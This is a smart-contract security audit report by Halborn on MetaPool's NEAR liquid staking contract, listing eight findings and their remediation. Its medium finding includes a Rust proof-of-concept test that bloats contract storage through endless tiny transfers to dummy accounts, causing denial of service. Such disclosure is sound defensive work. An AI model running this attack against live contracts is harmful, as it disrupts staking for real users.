MetaPool - Liquid Staking

NEAR Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **March 16th, 2023 - April 7th, 2023**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	04/07/2023	Michal Bajor
0.2	Document Updates	04/07/2023	Michal Bajor
0.3	Final Draft	04/07/2023	Michal Bajor
0.4	Draft Review	04/10/2023	Alpcan Onaran
0.5	Draft Review	04/10/2023	Gabi Urrutia
0.6	Document Updates	04/15/2023	Michal Bajor
0.7	Draft Review	04/16/2023	Alpcan Onaran
0.8	Draft Review	05/16/2023	Gabi Urrutia
1.0	Remediation Plan	06/07/2023	Michal Bajor
1.1	Remediation Plan Review	06/07/2023	Alp Onaran
1.2	Remediation Plan Review	06/07/2023	Piotr Cielas
1.3	Remediation Plan Review	06/09/2023	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Piotr Cielas	Halborn	Piotr.Cielas@halborn.com
Alp Onaran	Halborn	Alpcan.Onaran@halborn.com
Michal Bajor	Halborn	Michal.Bajor@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

MetaPool engaged Halborn to conduct a security audit on their smart contracts beginning on March 16th, 2023 and ending on April 7th, 2023 . The security assessment was scoped to the smart contracts provided in the GitHub repository liquid-staking-contract. Commit hashes and further details can be found in the Scope section of this report. MetaPool contract is a liquid staking solution that acts as a staking pool. Underneath, user's deposits are distributed among other staking pools. Users get the token representing their stake. One of the core features of MetaPool contract is the possibility of immediate unstake which requires users to pay a fee; however, they do not need to wait four epochs to complete the unstaking process.

1.2 AUDIT SUMMARY

The team at Halborn was provided 3 weeks for the engagement and assigned one full-time security engineer to audit the security of the smart contracts in scope. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing and smart-contract hacking skills, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Identify potential security issues within the smart contracts

In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by MetaPool . The main one is the following:

(HAL-01) DENIAL OF SERVICE CONDITION DUE TO STORAGE BLOATING
It was observed that a malicious user could cause MetaPool contract to enter a Denial Of Service condition with many deposits to dummy accounts.

MetaPool **successfully** remediated the issue by implementing a storage fee mechanism.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual review of the code and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of the smart contract audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of smart contracts and can quickly identify items that do not follow security best practices.

The following phases and associated tools were used throughout the term of the audit:

- Research into the architecture, purpose, and use of the platform.
- Smart contract manual code review and walkthrough to identify any logic issue.
- Mapping out possible attack vectors
- Thorough assessment of safety and usage of critical Rust variables and functions in scope that could lead to arithmetic vulnerabilities.
- Finding unsafe Rust code usage (cargo-geiger)
- On chain testing of core functions(near-cli, NEAR-API-JS)
- Deployment of Smart Contracts (kurtosis, near localnet)
- Scanning dependencies for known vulnerabilities (cargo audit).

2. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

2.1 EXPLOITABILITY

Attack Origin (AO):

Captures whether the attack requires compromising a specific account.

Attack Cost (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

Attack Complexity (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

Metrics:

Exploitability Metric (m_E)	Metric Value	Numerical Value
Attack Origin (AO)	Arbitrary (AO:A) Specific (AO:S)	1 0.2
Attack Cost (AC)	Low (AC:L) Medium (AC:M) High (AC:H)	1 0.67 0.33
Attack Complexity (AX)	Low (AX:L) Medium (AX:M) High (AX:H)	1 0.67 0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

2.2 IMPACT

Confidentiality (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

Integrity (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

Availability (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

Deposit (D):

Measures the impact to the deposits made to the contract by either users or owners.

Yield (Y):

Measures the impact to the yield generated by the contract for either users or owners.

Metrics:

Impact Metric (m_I)	Metric Value	Numerical Value
Confidentiality (C)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical	1
Deposit (D)	None (D:N)	0
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium: (Y:M)	0.5
	High: (Y:H)	0.75
	Critical (Y:H)	1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

EXECUTIVE OVERVIEW

2.3 SEVERITY COEFFICIENT

Reversibility (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

Scope (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

Coefficient (C)	Coefficient Value	Numerical Value
Reversibility (r)	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope (s)	Changed (S:C)	1.25
	Unchanged (S:U)	1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

EXECUTIVE OVERVIEW

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

Severity	Score Value Range
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

2.4 SCOPE

Code repositories:

1. Liquid Staking

- Repository: liquid-staking-contract
- Commit ID: f920e6f65e5cf53f0b429d48175a54998dc16996
- Smart Contracts in scope:
    1. MetaPool (metapool/)

Out-of-scope: External libraries and financial related attacks.

3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
0	0	1	0	7

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
DENIAL OF SERVICE CONDITION DUE TO STORAGE BLOATING	Medium (5.0)	SOLVED - 05/11/2023
USAGE OF OUTDATED DEPENDENCIES	Informational (0.0)	ACKNOWLEDGED
REDUNDANT STATE VALIDATION	Informational (0.0)	SOLVED - 06/06/2023
FUNCTION CAN BE REPLACED BY MACRO	Informational (0.0)	SOLVED - 06/06/2023
DEAD CODE	Informational (0.0)	SOLVED - 06/06/2023
POSSIBLE OPTIMIZATIONS TO REDUCE BINARY SIZE	Informational (0.0)	SOLVED - 06/06/2023
UNNECESSARY PROMISE	Informational (0.0)	SOLVED - 06/06/2023
TYPO IN SIMULATION TESTING CAUSES FUZZ TESTS NOT TO EXECUTE PROPERLY	Informational (0.0)	SOLVED - 05/11/2023

FINDINGS & TECH DETAILS

4.1 (HAL-01) DENIAL OF SERVICE CONDITION DUE TO STORAGE BLOATING - MEDIUM (5.0)

Description:

It was observed that the MetaPool contract does not require a storage deposit from users to cover fees associated with storing stNEAR balance. Additionally, it is possible to send tokens to the previously unseen user, in such a scenario, the contract will reserve storage for the newly created user. The contract will be deducting NEAR to free balance to cover the storage fees. However, if a contract will not have a sufficient free balance, it will cause the transaction to fail and all subsequent attempts at increasing the storage usage will fail until the contract's free balance is increased. Hence, it is possible for a malicious user to create multiple accounts and use them as receivers for token transfers with small value. Sufficient number of such transactions will bloat the contract's storage, leading to a Denial Of Service condition regarding creating new balances, which will directly impact the staking process - core functionality of the contract. It is worth noting that this vulnerability does not impact token transfers among users who have already saved balances, and the Denial Of Service condition can be reverted by sending more NEAR tokens to the MetaPool contract.

Code Location:

Listing 1: metapool/src/internal.rs (Line 565)

```
553 pub fn internal_st_near_transfer(
554     &mut self,
555     sender_id: &AccountId,
556     receiver_id: &AccountId,
557     amount: u128,
558 ) {
559     assert_ne!(
560         sender_id, receiver_id,
561         "Sender and receiver should be different"
```

```
    );
    assert!(amount > 0, "The amount should be a positive number");
    let mut sender_acc = self.internal_get_account(&sender_id);
    let mut receiver_acc = self.internal_get_account(&receiver_id);
    assert!(
        amount <= sender_acc.stake_shares,
        "@{} not enough stNEAR balance {}",
        sender_id,
        sender_acc.stake_shares
    );

    let near_amount = self.amount_from_stake_shares(amount); // amount is in stNEAR(aka shares), let's compute how many nears that is - for acc.staking_meter
    sender_acc.sub_stake_shares(amount, near_amount);
    receiver_acc.add_stake_shares(amount, near_amount);

    self.internal_update_account(&sender_id, &sender_acc);
    self.internal_update_account(&receiver_id, &receiver_acc);
}
```

Listing 2: metapool/src/internal.rs (Line 438)

```
438 pub(crate) fn internal_get_account(&self, account_id: &String) -> Account {
439     self.accounts.get(account_id).unwrap_or_default()
440 }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:N/R:P/S:U (5.0)

Proof Of Concept:

Please note that this Proof Of Concept uses an add_tokens_to function that is not present in the actual contract. It was added as a helper to create a state with balances to shorten the execution time of the test case. Its definition is as follows:

Listing 3: metapool/src/lib.rs (Line 361)

```
pub fn add_tokens_to(&mut self, account_id: AccountId) {
    let mut account = self.internal_get_account(&account_id);
    account.add_stake_shares(1000000000000000000, 100000000000);
    self.internal_update_account(&account_id, &account);
}
```

Listing 4: src/halborn_testcases/storage_bloating.rs

```
#[tokio::test]
async fn storage_bloating() -> anyhow::Result<()> {
    let user_count = 6;
    let metapool_wasm = std::fs::read(LIQUID_STAKING_CONTRACT_PATH
↳ )?;
    let staking_pool_wasm = std::fs::read(
↳ STAKING_POOL_CONTRACT_PATH)?;
    let get_epoch_wasm = std::fs::read(GET_EPOCH_CONTRACT_PATH)?;

    let worker = workspaces::sandbox().await?;
    let root_account = worker.root_account()?;

    let owner = root_account
        .create_subaccount("contract-owner")
        .initial_balance(19999999999999999000000000)
        .transact()
        .await?
        .into_result()?;
    let operator = root_account
        .create_subaccount("operator")
        .initial_balance(19999999999999999000000000)
        .transact()
        .await?
        .into_result()?;
    let treasury = root_account
        .create_subaccount("treasury")
        .initial_balance(19999999999999999000000000)
        .transact()
        .await?
        .into_result()?;
    let meta_token = root_account
        .create_subaccount("meta_token_contract_account")
        .initial_balance(19999999999999999000000000)
        .transact()
```

```rust
            .await?
            .into_result()?;
    let metapool = root_account
            .create_subaccount("metapool")
            .initial_balance(5000000000000000000000000) // 5 NEAR to expedite execution
            .transact()
            .await?
            .into_result()?;
    let get_epoch_acc = root_account
            .create_subaccount("get_epoch_acc")
            .initial_balance(199999999999999900000000000)
            .transact()
            .await?
            .into_result()?;

    let mut user_accounts = Vec::with_capacity(user_count);
    for n in 0..user_count {
        let this_user_account = root_account
                .create_subaccount(&user_account_name(n))
                .initial_balance(19999999999999990000000000000)
                .transact()
                .await?
                .into_result()?;
        user_accounts.push(this_user_account);
    }

    let get_epoch_contract = get_epoch_acc.deploy(&get_epoch_wasm).await?.into_result()?;
    get_epoch_contract
            .call("new")
            .args_json(json!({}))
            .transact()
            .await?
            .into_result()?;

    let metapool_contract = metapool.deploy(&metapool_wasm).await?.into_result()?;
    metapool_contract
            .call("new")
            .args_json(json!({
                "owner_account_id": owner.id(),
                "treasury_account_id": treasury.id(),
                "operator_account_id": operator.id(),
```

```rust
            "meta_token_account_id": meta_token.id(),
        }))
        .transact()
        .await?
        .into_result()?;

    let mut sp_contracts = Vec::with_capacity(4);
    let mut set_staking_pools_arg = Vec::with_capacity(4);
    let weights_vec: Vec<u8> = vec![15, 16, 20, 49];
    for n in 0..=3 {
        let staking_pool_n = root_account
            .create_subaccount(&sp_contract_name(n))
            .initial_balance(19999999999999999000000000000)
            .transact()
            .await?
            .into_result()?;
        let staking_pool_contract_n = staking_pool_n
            .deploy(&staking_pool_wasm)
            .await?
            .into_result()?;
        staking_pool_contract_n.call("new").args_json(json!({
            "owner_id": owner.id(),
            "stake_public_key": "Di8H4S8HSwSdwGABTGfKcxf1HaVzWSUKVH1mYQgwHCWb",
            "reward_fee_fraction": RewardFeeFraction {numerator: 5, denominator: 100}
        }));

        owner
            .call(metapool_contract.id(), "add_staking_pool")
            .args_json(json!({
                "account_id": staking_pool_contract_n.id(),
            }))
            .transact()
            .await?
            .into_result()?;

        let this_arg = StakingPoolArgItem {
            account_id: staking_pool_contract_n.id().clone(),
            weight_basis_points: weights_vec[n] as u16 * 100,
        };
        set_staking_pools_arg.push(this_arg);
        sp_contracts.push(staking_pool_contract_n);
    }
```

```rust

    owner
        .call(metapool_contract.id(), "set_staking_pools")
        .args_json(json!({ "list": set_staking_pools_arg }))
        .deposit(1)
        .transact()
        .await?
        .into_result()?;

    // Note: This function was added as a helper to shorten the execution of the test case
    // It is not present in the actual contract
    user_accounts[0]
        .call(metapool_contract.id(), "add_tokens_to")
        .args_json(json!({
            "account_id": user_accounts[0].id(),
        }))
        .transact()
        .await?
        .into_result()?;

    user_accounts[0]
        .call(metapool_contract.id(), "add_tokens_to")
        .args_json(json!({
            "account_id": user_accounts[1].id(),
        }))
        .transact()
        .await?
        .into_result()?;

    // Storage bloating via many small transfers
    let mut dummy_user_index = 0;
    println!("Starting vulnerable scenario...");
    loop {
        let this_user_account_id = format!("dummyuser{}", dummy_user_index);

        user_accounts[0]
            .call(metapool_contract.id(), "ft_transfer")
            .args_json(json!({
                "receiver_id": this_user_account_id,
                "amount": "1",
                "memo": None::<String>
            }))
```

```
                .deposit(1)
                .transact()
                .await?
                .into_result()?;

            dummy_user_index += 1;
        }

        Ok(())
}
```

Recommendation:

It is recommended to require a storage deposit from new users so that the storage fees will always be covered. Alternatively, if such a mechanism is not possible to be implemented for business reasons, the balance of the contract should be constantly monitored, and NEAR tokens should be automatically deposited to the contract once free balance reaches a previously defined threshold.

Remediation Plan:

SOLVED: The MetaPool team solved this issue in commit f11ba493 by implementing a storage fee mechanism.

4.2 (HAL-02) USAGE OF OUTDATED DEPENDENCIES - INFORMATIONAL (0.0)

Description:

It was observed that dependencies defined in Cargo.toml file for MetaPool contract are not using their latest versions. Namely:

- near-sdk
- near-contract-standards
- uint
- quickcheck
- quickcheck_macros
- env_logger

Code Location:

Listing 5: metapool/Cargo.toml (Lines 16,17,24,28,29,31)

```
11 [dependencies]
12
13 #near-sdk = "2.0.1"
14 #near-sdk = { git = "https://github.com/Narwallets/near-sdk-rs" }
15
16 near-sdk = { git = "https://github.com/near/near-sdk-rs.git", tag=
   ↳ "3.1.0" }
17 near-contract-standards = { git = "https://github.com/near/near-
   ↳ sdk-rs.git", tag="3.1.0" }
18
19
20 #near-sdk = { git = "https://github.com/near/near-sdk-rs", tag="
   ↳ 3.0.1" }
21 #near-contract-standards = { git = "https://github.com/near/near-
   ↳ sdk-rs.git", tag="3.0.1" }
22
23
24 uint = { version = "0.8.3", default-features = false }
25
26 [dev-dependencies]
```

```
lazy_static = "1.4.0"
quickcheck = "0.9"
quickcheck_macros = "0.9"
log = "0.4"
env_logger = { version = "0.7.1", default-features = false }

rand = "*"
rand_pcg = "*"

# near-crypto = { git = "https://github.com/nearprotocol/nearcore.git" }
# near-primitives = { git = "https://github.com/nearprotocol/nearcore.git" }

near-sdk-sim = { git = "https://github.com/near/near-sdk-rs", tag="3.1.0"  }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation:

It is recommended to update the dependencies to the latest available stable versions.

Remediation Plan:

ACKNOWLEDGED: The MetaPool team acknowledged this issue, and decided not to change the currently used version due to significant changes in the SDK API.

4.3 (HAL-03) REDUNDANT STATE VALIDATION - INFORMATIONAL (0.0)

Description:

It was observed that the MetaPool contract implements a manual assertion in the new function that checks if the contract's state already exists. However, the new function is also marked with #[init] macro which implements this behavior by default, making manual assertion redundant.

Code Location:

Listing 6: metapool/src/lib.rs (Line 289)

```
282 #[init]
283 pub fn new(
284     owner_account_id: AccountId,
285     treasury_account_id: AccountId,
286     operator_account_id: AccountId,
287     meta_token_account_id: AccountId,
288 ) -> Self {
289     assert!(!env::state_exists(), "The contract is already initialized");
290 
291     let result = Self {
292         owner_account_id,
293         contract_busy: false,
294         operator_account_id,
295         treasury_account_id,
296         contract_account_balance: 0,
297         web_app_url: Some(String::from(DEFAULT_WEB_APP_URL)),
298         auditor_account_id: Some(String::from(DEFAULT_AUDITOR_ACCOUNT_ID)),
299         operator_rewards_fee_basis_points: DEFAULT_OPERATOR_REWARDS_FEE_BASIS_POINTS,
300         operator_swap_cut_basis_points: DEFAULT_OPERATOR_SWAP_CUT_BASIS_POINTS,
301         treasury_swap_cut_basis_points: DEFAULT_TREASURY_SWAP_CUT_BASIS_POINTS,
302         staking_paused: false,
```

```
            total_available: 0,
            total_for_staking: 0,
            total_actually_staked: 0,
            total_unstaked_and_waiting: 0,
            retrieved_for_unstake_claims: 0,
            total_unstake_claims: 0,
            epoch_stake_orders: 0,
            epoch_unstake_orders: 0,
            epoch_last_clearing: 0,
            accumulated_staked_rewards: 0,
            total_stake_shares: 0,
            total_meta: 0,
            accounts: UnorderedMap::new(b"A".to_vec()),
            loan_requests: LookupMap::new(b"L".to_vec()),
            nslp_liquidity_target: 10_000 * NEAR,
            nslp_max_discount_basis_points: 180, //1.8%
            nslp_min_discount_basis_points: 25,  //0.25%
            min_deposit_amount: 10 * NEAR,
            ///for each stNEAR paid as discount, reward stNEAR sellers with META. initial 5x, default:1x. reward META = discounted * mult_pct / 100
            stnear_sell_meta_mult_pct: 50, //5x
            ///for each stNEAR paid staking reward, reward stNEAR holders with META. initial 10x, default:5x. reward META = rewards * mult_pct / 100
            staker_meta_mult_pct: 5000, //500x
            ///for each stNEAR paid as discount, reward LPs with META. initial 50x, default:20x. reward META = fee * mult_pct / 100
            lp_provider_meta_mult_pct: 200, //20x
            staking_pools: Vec::new(),
            meta_token_account_id,
            est_meta_rewards_stakers: 0,
            est_meta_rewards_lu: 0,
            est_meta_rewards_lp: 0,
            max_meta_rewards_stakers: 1_000_000 * ONE_NEAR,
            max_meta_rewards_lu: 50_000 * ONE_NEAR,
            max_meta_rewards_lp: 100_000 * ONE_NEAR,
            unstaked_for_rebalance: 0,
            unstake_for_rebalance_cap_bp: 100,
        };
        //all key accounts must be different
        result.assert_key_accounts_are_different();
        return result;
    }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation:

It is recommended to remove the redundant code.

Remediation Plan:

SOLVED: The MetaPool team solved this issue in commit 52bf32f8 by removing the redundant code.

4.4 (HAL-04) FUNCTION CAN BE REPLACED BY MACRO - INFORMATIONAL (0.0)

Description:

It was observed that the MetaPool contract implements the assert_callback_calling() function that verifies if the predecessor AccountId equals the current AccountId. Such functionality can also be achieved by using #[private] macro, which will reduce the codebase and make the code more readable.

Code Location:

Listing 7: metapool/src/utils.rs

```
pub fn assert_callback_calling() {
    assert_eq!(env::predecessor_account_id(), env::
↳ current_account_id());
}
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation:

It is recommended to use the #[private] macro instead of manual assertions.

Remediation Plan:

SOLVED: The MetaPool team solved this issue in commit 52bf32f8 by using the #[private] macro over the assert_callback_calling function.

4.5 (HAL-05) DEAD CODE - INFORMATIONAL (0.0)

Description:

It was observed that code inside validator_loans.rs file is mostly commented out, leaving one struct, which is used in the MetaPool contract's storage. However, it was observed that no logic is associated with that field, making it not necessary in the contract.

Code Location:

Listing 8: metapool/src/validator_loans.rs (Lines 3-6)

```
pub struct VLoanRequest {
    //total requested
    pub amount_requested: u128,
}

/*
use crate::*;
use near_sdk::serde::{Deserialize, Serialize};

pub use crate::types::*;
pub use crate::utils::*;

//------------------------
//  Validator Loan Req Status
//------------------------
pub const DRAFT: u8 = 0;
pub const ACTIVE: u8 = 1;
pub const REJECTED: u8 = 2;
pub const APPROVED: u8 = 3;
pub const FEE_PAID: u8 = 4;
pub const EXECUTING: u8 = 5;
pub const COMPLETED: u8 = 6;

const ACTIVATION_FEE: u128 = 5 * NEAR;
const MIN_REQUEST: u128 = 10 * K_NEAR;

```

```
(...)
```

Listing 9: metapool/src/lib.rs

```rust
#[near_bindgen]
#[derive(BorshDeserialize, BorshSerialize, PanicOnDefault)]
pub struct MetaPool {
    (...)

    // validator loan request
    // action on audit suggestions, this field is not used. No need for this to be on the main contract
    pub loan_requests: LookupMap<AccountId, VLoanRequest>,

    (...)
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation:

It is recommended to remove the loan_requests field from the contract's storage and delete the validator_loans.rs file from the repository.

Remediation Plan:

SOLVED: The MetaPool team solved this issue in commit 52bf32f8 by removing the unnecessary files.

4.6 (HAL-06) POSSIBLE OPTIMIZATIONS TO REDUCE BINARY SIZE - INFORMATIONAL (0.0)

Description:

Contract size directly corresponds to the costs associated with its operation, mainly - the deployment. Although many of the strategies aimed at reducing the compiled binary size achieve this goal at the expense of code readability, there are some measures that could be implemented without such sacrifices.

It was observed that Cargo.toml file of MetaPool contract specified the crate-type as both cdylib and rlib, however usually only cdylib is necessary. Additionally, the release compilation profile used opt-level option set to s. Specifying the crate-type to only cdylib and changing the opt-level to z resulted in a wasm binary size reduction of 14%.

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation:

It is recommended to change the crate-type parameter to cdylib and opt-level to z in Cargo.toml files to reduce the size of compiled binary.

Remediation Plan:

SOLVED: The MetaPool team solved this issue in commit 52bf32f8 by changing the crate-type parameter to contain only cdylib value and by setting the opt-level to a value of z.

4.7 (HAL-07) UNNECESSARY PROMISE - INFORMATIONAL (0.0)

Description:

It was observed that MetaPool contract defines a set_reward_fee function that is responsible for setting operator's rewards. This function is set as payable; however, it returns all the attached deposit, except 1 yocto NEAR. As such, it is not necessary to schedule that promise, and simply change the implementation to use assert_one_yocto function, which will reduce the code complexity and cost of executing that set_reward_fee function.

Code Location:

Listing 10: metapool/src/lib.rs (Lines 488-490)

```
479 #[payable]
480 pub fn set_reward_fee(&mut self, basis_points: u16) {
481     self.assert_owner_calling();
482     assert!(env::attached_deposit() > 0);
483     assert!(basis_points < 1000); // less than 10%
484                                   // DEVELOPERS_REWARDS_FEE_BASIS_POINTS is included
485     self.operator_rewards_fee_basis_points =
486         basis_points.saturating_sub(DEVELOPERS_REWARDS_FEE_BASIS_POINTS);
487     // return the deposit (except 1 yocto)
488     if env::attached_deposit() > 1 {
489         Promise::new(env::predecessor_account_id()).transfer(env::attached_deposit());
490     }
491 }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation:

It is recommended to remove balance transfer from the set_reward_fee function and introduce an assert_one_yocto function to make sure that the attached deposit is equal to exactly 1 yocto NEAR.

Remediation Plan:

SOLVED: The MetaPool team solved this issue in commit 52bf32f8 by simplifying the implementation to require one yocto of attached deposit.

4.8 (HAL-08) TYPO IN SIMULATION TESTING CAUSES FUZZ TESTS NOT TO EXECUTE PROPERLY - INFORMATIONAL (0.0)

Description:

The MetaPool contract uses a near-sdk-sim crate to simulate the contract's operation in the blockchain environment. In order to identify bugs, fuzz-based tests are implemented. It was observed that they are not always completely successful. It was identified that the root cause of this behavior was a typo in the parameter name. Namely, the Action::LiquidUnstake branch improperly named the parameter stnear_to_burn.

Code Location:

Listing 11: metapool/tests/sim/simulation_fuzzy.rs (Line 131)

```
72 pub fn step_random_action(
73     sim: &Simulation,
74     acc: &UserAccount,
75     action: Action,
76     amount_near: u64,
77     pre: &State,
78 ) -> Result<StateAndDiff, String> {
79     println!("step_random_action {:?} {}", action, amount_near);
80 
81     return match action {
82         Action::Stake => step_call(
83             &sim,
84             &acc,
85             "deposit_and_stake",
86             json!({}),
87             50 * TGAS,
88             amount_near as u128 * NEAR,
89             &pre,
90         ),
91         Action::AddLiquidity => step_call(
```

```
            &sim,
            &acc,
            "nslp_add_liquidity",
            json!({}),
            200 * TGAS,
            amount_near as u128 * NEAR,
            &pre,
        ),
        Action::RemoveLiquidity => step_call(
            &sim,
            &acc,
            "nslp_remove_liquidity",
            json!({ "amount": ntoU128(amount_near) }),
            200 * TGAS,
            NO_DEPOSIT,
            &pre,
        ),
        Action::DelayedUnstake => step_call(
            &sim,
            &acc,
            "unstake",
            json!({ "amount": ntoU128(amount_near) }),
            100 * TGAS,
            NO_DEPOSIT,
            &pre,
        ),
        Action::DUWithdraw => step_call(
            &sim,
            &acc,
            "withdraw",
            json!({ "amount": ntoU128(amount_near) }),
            50 * TGAS,
            NO_DEPOSIT,
            &pre,
        ),
        Action::LiquidUnstake => step_call(
            &sim,
            &acc,
            "liquid_unstake",
            json!({"stnear_to_burn": ntoU128(amount_near), "min_expected_near": ntoU128(amount_near*95/100)}),
            50 * TGAS,
            NO_DEPOSIT,
            &pre,
```

```
        ),
        Action::BotDistributes => bot_distributes(&sim, &pre),
        Action::BotEndOfEpochClearing => bot_end_of_epoch_clearing(&sim, &pre),
        Action::BotRetrieveFunds => bot_retrieve(&sim, &pre),
        Action::BotPingRewards => bot_ping_rewards(&sim, &pre),
        Action::StartRebalanceUnstake => bot_rebalance_unstake(&sim, &pre),
        Action::ChangePoolsWeight => bot_change_pools_weight(&sim, &pre),
        Action::LastAction => panic!("invalid action"),
    };
}
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:N/S:U (0.0)

Recommendation:

It is recommended to change the stnear_to_burn JSON key to the st_near_to_burn as defined in the liquid_unstake function.

Remediation Plan:

SOLVED: The MetaPool team solved this issue in commit f11ba493 by correcting the typo.

THANK YOU FOR CHOOSING

HALBORN